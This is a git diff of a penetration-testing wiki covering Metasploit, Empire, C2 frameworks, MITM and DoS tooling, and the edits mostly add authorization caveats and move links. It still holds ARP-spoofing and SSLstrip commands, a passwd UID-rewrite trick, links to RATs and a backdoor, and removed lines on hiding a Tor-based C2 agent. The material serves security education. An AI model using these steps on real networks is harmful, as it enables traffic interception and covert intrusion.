a/red-offensive/exploitation-and-targets/offensive-frameworks.md +++ b/red-offensive/exploitation-and-targets/offensive-frameworks.md @@ -2,17 +2,15 @@ ## **Metasploit** -The one offensive framework to rule them all. By far the most popular, Metasploit has become a staple for penetration testers everywhere. Metasploit contains 3 basic components you need to know.\ +Metasploit is one of the most widely used exploitation frameworks in penetration testing. Metasploit contains three core components you need to know.\ Metasploit modules are the exploit commands and code needed to exploit a specific vulnerability. There are tons of them and more are constantly added to the database when new exploit code is developed. For those looking to take the infamous OSCP exam, the exploit code itself can be used on the exam, but can only be used once through Metasploit itself for auto-exploitation.\ -Merterpreter is the advanced shell that comes with Metasploit. It comes with a slew of added commands you would not be able to use in a traditional shell, including easy privilege escalation. This shell has become easier and easier to detect with AV and EDR solutions, so advanced encoding is usually required, but well worth the effort.\ -MSVenom is a tool that can encode your payloads to bypass detection by your targets defenses. You will quickly get used to encoding everything you use. You can even chain encodings together +Meterpreter is the advanced shell that comes with Metasploit. It has many post-exploitation commands that are not available in a traditional shell, but it is also heavily detected by modern security tools.\ +MSFvenom generates payloads in many formats. Do not assume encoding is a bypass; modern EDR and AV products frequently detect common Metasploit payload patterns. {% tabs %} {% tab title="Guides" %} * [https://www.offensive-security.com/metasploit-unleashed/](https://www.offensive-security.com/metasploit-unleashed/) * [Metasploit | No Starch Press](https://nostarch.com/metasploit) -* [https://tryhackme.com/room/metasploitintro](https://tryhackme.com/room/metasploitintro) -* [https://tryhackme.com/room/rpmetasploit](https://tryhackme.com/room/rpmetasploit) * [https://www.tunnelsup.com/metasploit-cheat-sheet/](https://www.tunnelsup.com/metasploit-cheat-sheet/) * __[Metasploit-Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md) * [Metasploit for Pentester: Creds](https://www.hackingarticles.in/metasploit-for-pentester-creds/) @@ -27,7 +25,7 @@ MSVenom is a tool that can encode your payloads to bypass detection by your targ * _PTFM: Metasploit Commands - pg. 160_ * _PTFM: Persistence with Metasploit/Empire - pg. 26_ * _PTFM: Host Enumeration with Metasploit/Empire - pg. 46_ -* _PTFM: Metasploit/Emipre Pass-the-hash - pg. 52_ +* _PTFM: Metasploit/Empire Pass-the-hash - pg. 52_ * _Operator Handbook: Metasploit - pg.198_ * _Operator Handbook: MSFVenom - pg.208_ {% endtab %} @@ -56,28 +54,20 @@ MSVenom is a tool that can encode your payloads to bypass detection by your targ
-Armitage: the Metasploit GUI +Armitage: legacy Metasploit GUI -[Armitage](https://tools.kali.org/exploitation-tools/armitage): The Metasploit GUI +[Armitage](https://tools.kali.org/exploitation-tools/armitage) is a legacy Metasploit GUI. Keep it as a historical reference, but prefer current Metasploit workflows for new testing. * [Cortana-scripts](https://github.com/rsmudge/cortana-scripts) - A collection of Cortana scripts that you may use with Armitage and Cobalt Strike 2.x. Cortana Scripts are not compatible with Cobalt Strike 3.x. Cobalt Strike 3.x uses a variant of Cortana called Aggressor Script. * [https://www.offensive-security.com/metasploit-unleashed/armitage/](https://www.offensive-security.com/metasploit-unleashed/armitage/)
-
- -MSFVenom - The Metasploit Payload Encode - -### [MSFVenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/) - The Metasploit Payload Encoder - -* msfvenom cheatsheet - [https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/](https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/) -* msfvenom payloads - [https://github.com/Shiva108/CTF-notes/blob/master/msfvenom.html](https://github.com/Shiva108/CTF-notes/blob/master/msfvenom.html) -* msfvenom basic guide - [https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom) -* Blackhills Infosec. msfvenom advanced payload guide - [https://www.blackhillsinfosec.com/advanced-msfvenom-payload-generation/](https://www.blackhillsinfosec.com/advanced-msfvenom-payload-generation/) -* msfvenom payload calculator - [https://github.com/g0tmi1k/msfpc](https://github.com/g0tmi1k/msfpc) +MSFvenom commands and payload-generation references are maintained on the MSFVenom page. -
+{% content-ref url="../testing-methodology/payloads-and-obfuscation/msfvenom-commands.md" %} +[msfvenom-commands.md](../testing-methodology/payloads-and-obfuscation/msfvenom-commands.md) +{% endcontent-ref %}
@@ -101,28 +91,26 @@ MSVenom is a tool that can encode your payloads to bypass detection by your targ ## ****[**PowerShell Empire**](https://github.com/BC-SECURITY/Empire)**** -Empire 3 is a post-exploitation framework that includes a pure-PowerShell Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.\ -Empire was formerly an abandoned project that BC-Securty has revived. Please be aware when reading old posts or guides about Emipre that they may not be completely accurate to the new version of the project. +Empire is a post-exploitation framework maintained by BC Security. It includes Windows, Linux, and macOS agent support, plus the Starkiller UI. Older PowerShell Empire and EmPyre guides may not match current Empire behavior.
PS Empire Resources -* [https://www.powershellempire.com/](https://www.powershellempire.com/) - Legacy site +* [https://www.powershellempire.com/](https://www.powershellempire.com/) - Legacy site; prefer the current BC Security project links. * [https://www.bc-security.org/post/overview-of-empire-4-0-and-c/](https://www.bc-security.org/post/overview-of-empire-4-0-and-c/) * [DeathStar](https://github.com/byt3bl33d3r/DeathStar) - A Python script that uses [Empire's](https://github.com/BC-SECURITY/Empire) RESTful API to automate gaining Domain and/or Enterprise Admin rights in Active Directory environments using some of the most common offensive TTPs. * [Starkiller](https://github.com/BC-SECURITY/Starkiller) - Starkiller is a Frontend for [Powershell Empire](https://github.com/BC-SECURITY/Empire/). It is an Electron application written in VueJS. -* [https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) - Tricks write up from one of the original authors of Emipre. +* [https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) - Tricks write-up from one of the original Empire authors. * [https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101) * [https://www.hackingarticles.in/empire-for-pentester-active-directory-enumeration/](https://www.hackingarticles.in/empire-for-pentester-active-directory-enumeration/) * [https://www.youtube.com/watch?v=zFlsxrGMScE](https://www.youtube.com/watch?v=zFlsxrGMScE) -* [https://tryhackme.com/room/rppsempire](https://tryhackme.com/room/rppsempire) * _PTFM: Empire Commands - pg. 162_ * _PTFM: Persistence with Metasploit/Empire - pg. 26_ * _PTFM: Host Enumeration with Metasploit/Empire - pg. 46_ * Can be incorporated in Empire: * [https://github.com/threatexpress/red-team-scripts](https://github.com/threatexpress/red-team-scripts) -* _PTFM: Metasploit/Emipre Pass-the-hash - pg. 52_ +* _PTFM: Metasploit/Empire Pass-the-hash - pg. 52_ * _PTFM: C2 Obfuscation- pg. 64_ * _PTFM: Data Exfiltration via Web Services - pg. 68_ * _Advanced Penetration Testing - pg. 50_ @@ -137,7 +125,11 @@ Empire was formerly an abandoned project that BC-Securty has revived. Please be All-in-one Toolkits -* [Sn1per](https://github.com/1N3/Sn1per) - Discover the attack surface and prioritize risks with our continuous Attack Surface Management (ASM) platform - Sn1per Professional. For more information, go to [https://xerosecurity.com](https://xerosecurity.com). +Sn1per is maintained with recon frameworks. + +{% content-ref url="../scanning-active-recon/recon-frameworks.md" %} +[recon-frameworks.md](../scanning-active-recon/recon-frameworks.md) +{% endcontent-ref %} * [legion](https://github.com/carlospolop/legion) - Legion is a tool that uses several well-known opensource tools to automatically, semi-automatically or _manually_ enumerate the most frequent found services running in machines that you could need to pentest. Written by Carlos Pollop, the creator of [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite), [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite), and [book.hacktricks](https://book.hacktricks.xyz/), everything this guy makes is gold. Highest of recommendations * [celerystalk](https://github.com/sethsec/celerystalk) - celerystalk helps you automate your network scanning/enumeration process with asynchronous jobs (aka _tasks_) while retaining full control of which tools you want to run. Super handy for stringing together all your favorite tools * [lscript](https://github.com/arismelachroinos/lscript) - Lazy Script: This is a script for Kali Linux that automates many procedures about wifi penetration and hacking. diff --git a/red-offensive/exploitation-and-targets/special-targets.md b/red-offensive/exploitation-and-targets/special-targets.md index b44ba9f..0f63f47 100644 --- a/red-offensive/exploitation-and-targets/special-targets.md +++ b/red-offensive/exploitation-and-targets/special-targets.md @@ -93,7 +93,7 @@ Copies configuration files from Cisco devices running SNMP. * [https://akenofu.gitbook.io/hackallthethings/mobile-applications/android](https://akenofu.gitbook.io/hackallthethings/mobile-applications/android) * [https://owasp.org/www-project-mobile-security-testing-guide/](https://owasp.org/www-project-mobile-security-testing-guide/) * [OWASP Mobile Security Testing Guide](https://mobile-security.gitbook.io/mobile-security-testing-guide/) - Bernhard Mueller et al. -* [Mobile-Security-Framework-MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) - Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. +* [Mobile-Security-Framework-MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) - Mobile Security Framework (MobSF) is an automated mobile application security testing framework. It also has malware-analysis uses; keep defensive analysis workflows in DFIR. * [https://opensecurity.in/](https://opensecurity.in/) * [quark-engine](https://www.kali.org/tools/quark-engine/) - Quark-Engine is a full-featured Android analysis framework written in Python for hunting threat intelligence inside the APK, DEX files. * _Hacking: The next generation - Abusing mobile devices: Targeting your mobile workforce, pg. 149_ @@ -107,4 +107,8 @@ Copies configuration files from Cisco devices running SNMP. ## Printers -* [https://tryhackme.com/room/printerhacking101](https://tryhackme.com/room/printerhacking101) +Printer training rooms are maintained in Training. + +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} diff --git a/red-offensive/offensive-toolbox/README.md b/red-offensive/offensive-toolbox/README.md index 7e45f4c..f54a5f7 100644 --- a/red-offensive/offensive-toolbox/README.md +++ b/red-offensive/offensive-toolbox/README.md @@ -24,7 +24,7 @@ * [Awesome Lists Collection: Security Tools](https://github.com/tina1998612/Awesome-Security-Tool-List) * [A Complete Penetration Testing & Hacking Tools List for Hackers & Security Professionals : ](https://www.reddit.com/r/HowToHack/comments/ewm1ax/a\_complete\_penetration\_testing\_hacking\_tools\_list/) * [HowToHack](https://www.reddit.com/r/HowToHack/comments/ewm1ax/a\_complete\_penetration\_testing\_hacking\_tools\_list/) - Reddit's Penetration tools list -* [Rawsec's CyberSecurity Inventory](https://inventory.rawsec.ml/tools.html) +* [Rawsec's CyberSecurity Inventory](https://inventory.raw.pm/) * [ToolsWatch.org – The Hackers Arsenal Tools Portal](http://www.toolswatch.org/) * [The Penetration Testers Framework](https://github.com/trustedsec/ptf) - Installation script for a huge collection of security tools to be installed on any linux distro * [The only Penetration testing resources you need - kalitut](https://kalitut.com/penetration-testing-resources/) @@ -98,19 +98,20 @@
-Stress Testing (DDOS) +Authorized Stress Testing + +Only use these tools for explicitly authorized load, resilience, or lab testing. Do not run denial-of-service tooling against systems you do not own or have written permission to test. * [https://cheatsheetseries.owasp.org/cheatsheets/Denial\_of\_Service\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Denial\_of\_Service\_Cheat\_Sheet.html) * [https://github.com/ddosify/ddosify](https://github.com/ddosify/ddosify) - High-performance load testing tool, written in Golang. * [https://github.com/rozgo/anevicon](https://github.com/rozgo/anevicon) -* [https://sourceforge.net/projects/high-orbit-ion-cannon/](https://sourceforge.net/projects/high-orbit-ion-cannon/) -* [https://github.com/NewEraCracker/LOIC](https://github.com/NewEraCracker/LOIC) -* [https://github.com/649/Memcrashed-DDoS-Exploit](https://github.com/649/Memcrashed-DDoS-Exploit) +* **HOIC / LOIC / Memcrashed-style tools** - Historical denial-of-service tooling. Kept as references only; prefer legitimate load-testing tools such as Ddosify or Siege for authorized testing. * [https://github.com/gkbrk/slowloris](https://github.com/gkbrk/slowloris) * [https://github.com/epsylon/ufonet](https://github.com/epsylon/ufonet) * [https://github.com/s1l3nt78/Dark-Star](https://github.com/s1l3nt78/Dark-Star) * [https://github.com/LimerBoy/Impulse](https://github.com/LimerBoy/Impulse) * [https://github.com/RoseSecurity/DNS-Fender](https://github.com/RoseSecurity/DNS-Fender) +* [dos-over-tor](https://github.com/skizap/dos-over-tor) - Historical DoS-over-Tor reference. Keep as a cautionary archive item; do not use outside explicit, written authorization. * [goldeneye](https://www.kali.org/tools/goldeneye/) - GoldenEye is a HTTP DoS Test Tool. This tool can be used to test if a site is susceptible to Deny of Service (DoS) attacks. Is possible to open several parallel connections against a URL to check if the web server can be compromised. * [siege](https://www.kali.org/tools/siege/) - Siege is an regression test and benchmark utility. It can stress test a single URL with a user defined number of simulated users, or it can read many URLs into memory and stress them simultaneously. * [**DOS Attack Penetration Testing (Part 1)**](https://www.hackingarticles.in/dos-penetration-testing-part-1/) @@ -156,8 +157,6 @@ * [erfs](https://github.com/hackerschoice/erfs) - An easy-to-use, easy-to-setup, hassle-free secure file system with the encrypted data being stored on a remote cloud server without having to trust the server. * [https://hackerschoice.medium.com/thcs-encrypted-cloud-based-file-system-a39234bd7cac](https://hackerschoice.medium.com/thcs-encrypted-cloud-based-file-system-a39234bd7cac) * [LDAPmonitor](https://github.com/p0dalirius/LDAPmonitor) - Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration! -* [https://github.com/codingo/Interlace](https://github.com/codingo/Interlace) - Easily turn single threaded command line applications into a fast, multi-threaded application with CIDR and glob support. -
{% content-ref url="utility-commands.md" %} diff --git a/red-offensive/offensive-toolbox/utility-commands.md b/red-offensive/offensive-toolbox/utility-commands.md index 6f37e6a..d957843 100644 --- a/red-offensive/offensive-toolbox/utility-commands.md +++ b/red-offensive/offensive-toolbox/utility-commands.md @@ -10,8 +10,8 @@ There are far too many command options to list here. However there is a handy re * Open file you do not have permission for * In the folder, view owner, permissions and UUID * \# ls -la - * Add new user - * \# sudo add user pwn + * Add a new user + * \# sudo adduser pwn * Change the UUID of the new user to that of the user that created the file * \# sudo sed -i -e ‘s/\[pwnUUID]/\[targetUUID]/g’ /etc/passwd * Check the new UUID @@ -47,7 +47,8 @@ There are far too many command options to list here. However there is a handy re ## **WMIC** -* Impacket scripts - * [wmiquery.py:](https://github.com/SecureAuthCorp/impacket/blob/impacket\_0\_9\_21/examples/wmiquery.py) It allows to issue WQL queries and get description of WMI objects at the target system (e.g. select name from win32\_account). - * [wmipersist.py:](https://github.com/SecureAuthCorp/impacket/blob/impacket\_0\_9\_21/examples/wmipersist.py) This script creates/removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer spec +* Impacket scripts are maintained in the Offensive Toolbox Impacket section. + {% content-ref url="./" %} + [Offensive Toolbox](./) + {% endcontent-ref %} * _RTFM: WMIC Commands - pg. 20_ diff --git a/red-offensive/post-exploitation/c2-frameworks.md b/red-offensive/post-exploitation/c2-frameworks.md index 567c48e..f229709 100644 --- a/red-offensive/post-exploitation/c2-frameworks.md +++ b/red-offensive/post-exploitation/c2-frameworks.md @@ -9,8 +9,7 @@ These are NOT to be used in a malicious capacity and are for testing purposes on ## Command and Control Basics * The implant is the payload component of an exploit, which will be executed on the victim’s computer. Once an implant is running on the target system, it will attempt to call back to the C2 server periodically to check for new commands. -* The C2 servers that communicate with the implants on a victim system vary in complexity and functionality, but the basic functionality allows the attacker to queue up commands for the implant to execute. The C2 server commands typically deal with two areas: the implant configuration, and interacting with the infected host. -* The C2 servers that communicate with the implants on a victim system vary in complexity and functionality, but the basic functionality allows the attacker to queue up commands for the implant to execute. The C2 server commands typically deal with two areas: the implant configuration, and interacting with the infected host. Examples of this are changing the beacon timings and exfiltrating the Windows SAM file. Commands can be queued up with most C2 servers, allowing actions to be carried out at specific times; this could help to blend into network traffic at peak times, or to communicate when the security team have left work. +* C2 servers vary in complexity, but most allow operators to queue commands, change implant configuration, adjust beacon timing, and interact with a controlled host during an authorized test. * The C2 servers are typically configured to appear as if they’re running common services, such as HTTP or DNS. This helps the communications to appear like legitimate traffic, which will assist in avoiding detection if tools such as Snort or RSA's Netwitness are deployed and monitoring the victim’s network. * To further obfuscate network communications, most implants support domain fronting. Domain fronting is a technique that embeds the communications within a content delivery network (CDN). This results in the destination for traffic appearing to be trusted CDN networks like Cloudfront, Google, and Cloudflare. Using domain fronting, it is possible to quickly change CDNs if the Blue Team identify and block a particular CDN (although, this can be a challenge as it may block legitimate traffic). * _Advanced Penetration Testing: C2 Basics and Essentials - pg. 19_ @@ -41,7 +40,7 @@ Software for Adversary Simulations and Red Team Operations ## ****[**PoshC2**](https://github.com/nettitude/PoshC2/)**** -PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement. This is my framework of choice. +PoshC2 is a proxy-aware C2 framework used for red teaming, post-exploitation, and lateral movement.
@@ -96,7 +95,7 @@ This tool is designed to create an encrypted command-and-control (C\&C) channel * [https://www.kali.org/tools/silenttrinity/](https://www.kali.org/tools/silenttrinity/) * [Mythic](https://github.com/its-a-feature/Mythic) - A cross-platform, post-exploit, red teaming framework built with python3, docker, docker-compose, and a web browser UI. * [https://github.com/MythicAgents/hermes](https://github.com/MythicAgents/hermes) - Swift 5 macOS agent -* [Kaodic](https://github.com/zerosum0x0/koadic) - Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10. +* [Koadic](https://github.com/zerosum0x0/koadic) - COM Command & Control Windows post-exploitation framework using Windows Script Host/JScript/VBScript. * [trevorc2](https://github.com/trustedsec/trevorc2) - Written by Dave Kennedy of TrustedSec, TrevorC2 is a client/server model for masking command and control through a normally browsable website. Detection becomes much harder as time intervals are different and does not use POST requests for data exfil. * [Merlin](https://github.com/Ne0nd0g/merlin) - Merlin is a cross-platform post-exploitation C2 server and agent written in Go. * [https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a#df21](https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a#df21) @@ -104,7 +103,7 @@ This tool is designed to create an encrypted command-and-control (C\&C) channel * [https://prismatica.io/guides/](https://prismatica.io/guides/) * [Diagon](https://github.com/Project-Prismatica/Diagon) - The Diagon Attack Framework is a Prismatica application containing the Ravenclaw, Gryffindor, and Slytherin remote access tools (RATs). * [Oculus](https://github.com/Project-Prismatica/Oculus) - Oculus is a malleable python-based C2 system allowing for instantiation of listeners for the purpose of communication with remote access tools (RATs). - * [Acheron](https://github.com/Acheron-VAF/Acheron) - Acheron is a RESTful vulnerability assessment and management framework built around search and dedicated to terminal extensibility. + * [Acheron](https://github.com/Acheron-VAF/Acheron) - RESTful vulnerability assessment framework. This is not a C2 framework, but is preserved here as an older adjacent offensive automation reference. * [Tiberium](https://github.com/0sm0s1z/Tiberium) - A Command and Control scanning tool * [Gdog](https://github.com/maldevel/gdog) (gcat replacement) - A stealthy Python based Windows backdoor that uses Gmail as a command and control server. This project was inspired by the gcat([https://github.com/byt3bl33d3r/gcat](https://github.com/byt3bl33d3r/gcat)) from byt3bl33d3r. * [DarkFinger-C2](https://github.com/hyp3rlinx/DarkFinger-C2/) - Windows TCPIP Finger Command / C2 Channel and Bypassing Security Software @@ -137,44 +136,16 @@ This tool is designed to create an encrypted command-and-control (C\&C) channel * [https://www.hackingarticles.in/evilosx-rat-for-macos-osx/](https://www.hackingarticles.in/evilosx-rat-for-macos-osx/) * [serpentine](https://github.com/jafarlihi/serpentine) - serpentine is a Windows RAT (Remote Administration Tool) that lets you interact with the clients using a multiplatform RESTful C2 server. * [QuasarRAT](https://github.com/quasar/Quasar) - Quasar is a fast and light-weight remote administration tool coded in C#. The usage ranges from user support through day-to-day administrative work to employee monitoring. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. -* [Remcos-Professional-Cracked-By-Alcatraz3222](https://github.com/cybertoxin/Remcos-Professional-Cracked-By-Alcatraz3222) - Remcos lets you extensively control and manage one or many computers remotely. -
{% embed url="https://youtu.be/kyueZUfSWO4" %} {% embed url="https://youtu.be/rffkJDcri18" %} -## Tor C2 - - A C2 server can be provisioned as a node within the Tor network and force the compromised host to connect to Tor when it comes online. +## Tor-Backed C2 -
+Tor-backed C2 is an offensive infrastructure pattern, but the Tor setup and OPSEC details belong in Grey Privacy/Tor/OPSEC. Keep C2-specific notes here and use the Grey section for Tor fundamentals. -How to Tor C2 - -* Torrc file - Tor stores its configuration in a file called torrc. - * In order to create a hidden service append the following lines to the torrc file - -``` -# Configure hidden service directory -HiddenServiceDir /home/username/tor_hidden -# C2 Web Port -HiddenServicePort 443 127.0.0.1:443 -# C2 SSH Port -HiddenServicePort 7022 127.0.0.1:7022 -#C2 Metasploit Listener -HiddenServicePort 8080 127.0.0.1:8080 -``` - -* The hidden service directory will be the place where our server will store the keys and should be outside the web server's root directory -* The next time Tor is started, two files will be created in the tor\_hidden directory. Those files are a prive\_key and a hostname file that contains a has of the public key -* When the C2 is live and being provisioned over the Tor network using this configuration, it can be accessed by C2 agents anywhere in the world. -* Configuring a C2 agent to use the Tor network - * Once the C2 server is configured to accept connections over Tor, the next step is to enable the C2 agents deployed on compromised machines to do so. - * The easiest way is to bundle tor.exe with the agent and execute ti without parameters. ◇ This will cause it to run in a hidden window and open a SOCKS proxy port on localhost 9050. - * Please rename so it is not immediately visible in the Windows process list - * Changes that need to be made ▪ Change teh SSH tunneling IPs from the Internet IPv4 addresses within the code to point to the .onion address mentioned previously. - * Tell the SSH SOCKS proxy to upstream to the Tor SOCKs proxy on TCP 9050 - -
+{% content-ref url="../../grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](../../grey-privacy-tor-opsec/) +{% endcontent-ref %} diff --git a/red-offensive/post-exploitation/network-attacks-harvesting-mitm.md b/red-offensive/post-exploitation/network-attacks-harvesting-mitm.md index eb08671..367d2c2 100644 --- a/red-offensive/post-exploitation/network-attacks-harvesting-mitm.md +++ b/red-offensive/post-exploitation/network-attacks-harvesting-mitm.md @@ -60,7 +60,12 @@ * [Inveigh](https://github.com/Kevin-Robertson/Inveigh) - ​Inveigh is a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers. * Can be used similarly to Responder and MultiRelay * [Espionage](https://github.com/DoubleThreatSecurity/Espionage) - ​Espionage is a network packet sniffer that intercepts large amounts of data being passed through an interface. The tool allows users to to run normal and verbose traffic analysis that shows a live feed of traffic, revealing packet direction, protocols, flags, etc. -* [BruteShark](https://github.com/odedshimon/BruteShark) - BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic (mainly PCAP files, but it also capable of directly live capturing from a network interface). It includes: password extracting, building a network map, reconstruct TCP sessions, extract hashes of encrypted passwords and even convert them to a Hashcat format in order to perform an offline Brute Force attack. +BruteShark is maintained with packet analysis tools. It can support authorized credential-harvesting review after a MITM exercise, but its primary workflow is PCAP/NFAT analysis. + +{% content-ref url="../../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../../blue-defense/packet-analysis.md) +{% endcontent-ref %} + * [Yersina](https://github.com/tomac/yersinia) - ​A framework for layer 2 attacks * [StreamDivert](https://github.com/jellever/StreamDivert) - Redirecting (specific) TCP, UDP and ICMP traffic to another destination. * [PortBender](https://github.com/praetorian-inc/PortBender) - PortBender is a TCP port redirection utility that allows a red team operator to redirect inbound traffic destined for one TCP port (e.g., 445/TCP) to another TCP port (e.g., 8445/TCP). @@ -76,7 +81,7 @@ ## Network Level Attacks -[https://book.hacktricks.xyz/pentesting/pentesting-network#lan-attacks](https://book.hacktricks.xyz/pentesting/pentesting-network#lan-attacks)d +[https://book.hacktricks.xyz/pentesting/pentesting-network#lan-attacks](https://book.hacktricks.xyz/pentesting/pentesting-network#lan-attacks) {% tabs %} {% tab title="Arp Attacks" %} @@ -118,7 +123,8 @@ * We MITM the http connection before its redirected to SSL and add SLL functionality before sending the packets to the web server * When the server replies, ssl stripping intercepts the https tags before sending the packets to the through SSLstrip. * We will run SSLstrip on port 8080, then restart arpspoof and spoof the default gateway. - * ◇ # iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 + * `iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080` + * [SSLStrip2](https://github.com/LeonardoNve/sslstrip2) - Historical SSLStrip variant. HSTS and modern browser behavior limit this technique heavily. * Now we start SSLstrip on the outgoing port. * \#sslstrip -l 8080 {% endtab %} @@ -243,7 +249,8 @@ See the Special Targets section for more tools on attacking Cisco Devices * Wait 30 seconds for it to discover network hosts. * net.probe off * net.show - * This will show you the targets on the network. Pay attention to your target IP. ◇ set http.proxy.sslstrip true + * This will show you the targets on the network. Pay attention to your target IP. + * set http.proxy.sslstrip true * set net.sniff.verbose false * set arp.spoof.targets TARGET\_IP * My example: diff --git a/red-offensive/red-purple-teaming.md b/red-offensive/red-purple-teaming.md index 2b46a40..57c10cd 100644 --- a/red-offensive/red-purple-teaming.md +++ b/red-offensive/red-purple-teaming.md @@ -10,10 +10,11 @@ * [https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/RT.md](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/RT.md) * [https://kwcsec.gitbook.io/the-red-team-handbook/](https://kwcsec.gitbook.io/the-red-team-handbook/) * [https://github.com/magoo/redteam-plan](https://github.com/magoo/redteam-plan) -* [https://tryhackme.com/module/red-team-fundamentals](https://tryhackme.com/module/red-team-fundamentals) -* [https://tryhackme.com/room/redteamfundamentals](https://tryhackme.com/room/redteamfundamentals) -* [https://tryhackme.com/room/redteamengagements](https://tryhackme.com/room/redteamengagements) -* [https://tryhackme.com/module/red-team-fundamentals](https://tryhackme.com/module/red-team-fundamentals) +Training rooms are maintained in Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} ### Tools @@ -25,9 +26,12 @@ ### Adversary Emulation * Tool Collections - * [Atomic Red Team](https://atomicredteam.io/) - Atomic Red Team™ is a library of simple tests that every security team can execute to test their defenses. Tests are focused, have few dependencies, and are defined in a structured format that can be used by automation frameworks. - * [https://github.com/cyberbuff/TheAtomicPlaybook](https://github.com/cyberbuff/TheAtomicPlaybook) - * [https://docs.google.com/document/d/1c8\_WRHp68Py9kyMYqMrs6aQ6ppcfLouV8jQ07UY27yE/mobilebasic](https://docs.google.com/document/d/1c8\_WRHp68Py9kyMYqMrs6aQ6ppcfLouV8jQ07UY27yE/mobilebasic) + * Atomic Red Team is maintained in Blue Defense because its primary use in this guide is detection/control validation. It is still useful during purple-team exercises. + {% content-ref url="../blue-defense/" %} + [blue-defense](../blue-defense/) + {% endcontent-ref %} + * [The Atomic Playbook](https://github.com/cyberbuff/TheAtomicPlaybook) + * [Atomic Red Team Reference Document](https://docs.google.com/document/d/1c8_WRHp68Py9kyMYqMrs6aQ6ppcfLouV8jQ07UY27yE/mobilebasic) * [stratus-red-team](https://github.com/DataDog/stratus-red-team) - Stratus Red Team is "[Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)™" for the cloud, allowing to emulate offensive attack techniques in a granular and self-contained manner. * [caldera](https://github.com/mitre/caldera) - Automated Adversary Emulation Platform by MITRE * [https://www.kali.org/tools/caldera/](https://www.kali.org/tools/caldera/) diff --git a/red-offensive/scanning-active-recon/README.md b/red-offensive/scanning-active-recon/README.md index 7664bd4..bf35de9 100644 --- a/red-offensive/scanning-active-recon/README.md +++ b/red-offensive/scanning-active-recon/README.md @@ -1,709 +1,236 @@ # Reconnaissance and Scanning -## Passive Reconnaissance - -This section focuses on the very first part of a penetration test: Passive Reconnaissance. This is where you use all the tools and resources at your disposal to gather up all of the information you can on your target, without interacting with the target in anyway (no scanning). - -For more tools and resources on intelligence gathering outside of the below frameworks, please see the OSINT section under Cyber Intelligence. - -After your passive reconnaissance phase, the next step is active scanning of your target. This usually involves port scanning and scanning for any vulnerabilities that your target might have, preferably with out them noticing. Active scanning does have direct interaction with your target and does run the risk of being detected. There are ways to subtle scan your target and not draw too much attention. This can include slowing the rate of your scanning or performing them in such a way as to not create a full connection request that would trigger any defensive alerts. +This page focuses on active reconnaissance and scanning during authorized offensive testing. Passive OSINT, breach lookups, reputation checks, and general domain intelligence are maintained under Cyber Intelligence. {% content-ref url="../../cyber-intelligence/osint/" %} [osint](../../cyber-intelligence/osint/) {% endcontent-ref %} -For ease of collection, there are many Recon Frameworks available that can gather intel from multiple sources and leverage multiple tools. They are a great way to save time on your Recon tasks. - -{% hint style="info" %} -Note: Many Recon Frameworks have both passive and active reconnaissance capabilities. -{% endhint %} +For multi-tool recon suites and attack surface management platforms, use the Recon Frameworks page. {% content-ref url="recon-frameworks.md" %} [recon-frameworks.md](recon-frameworks.md) {% endcontent-ref %} -* [https://tryhackme.com/room/passiverecon](https://tryhackme.com/room/passiverecon) -* [https://tryhackme.com/room/redteamrecon](https://tryhackme.com/room/redteamrecon) -* _Penetration Testing: Information Gathering - pg.113_ +Web application scanning has its own section so web tooling does not get mixed into general network reconnaissance. -## Active Recon and Scanning - -The following section will contain scanning tools and resources such as port scanners, vulnerability scanners, and so much more! +{% content-ref url="../../web-app-hacking/scanning-utilities.md" %} +[scanning-utilities.md](../../web-app-hacking/scanning-utilities.md) +{% endcontent-ref %} -* [https://tryhackme.com/room/activerecon](https://tryhackme.com/room/activerecon) +## Attack Surface Mapping -### Attack Surface Mapping and Discovery +Attack surface mapping identifies exposed assets, services, and technologies that may be in scope for testing. Some tools combine passive discovery with 